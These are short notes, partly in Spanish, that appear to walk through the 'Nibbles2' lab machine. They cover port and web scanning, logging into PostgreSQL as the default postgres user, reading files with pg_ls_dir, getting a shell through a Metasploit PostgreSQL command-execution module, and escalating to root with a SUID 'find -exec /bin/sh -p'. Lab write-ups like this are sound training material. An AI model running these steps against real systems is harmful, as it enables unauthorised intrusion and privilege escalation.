Nibbles2

nmap -A -p- -oA nibbles 192.168.137.47 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA nibbles 192.168.137.47

nmap -sU -O -p- -oA nibbles-udp 192.168.137.47

nikto -h 192.168.137.47:80

whatweb http://192.168.137.47

psql -U postgres -p 5437 -h 192.168.137.47

Select pg_ls_dir(‘/home’);

Select pg_ls_dir(‘/home/wilson/local.txt’);

Trate de hacer un query para que me diera un reverse shell pero no me funciono.

use exploit/multi/postgres/postgres_copy_from_program_cmd_exec

Seteamos el LHOST,LPORT RHOST, y RPORT

Lo corremos con run

echo $PATH

find / -perm -u=s -type f 2>/dev/null

find . -exec /bin/sh -p ; -quit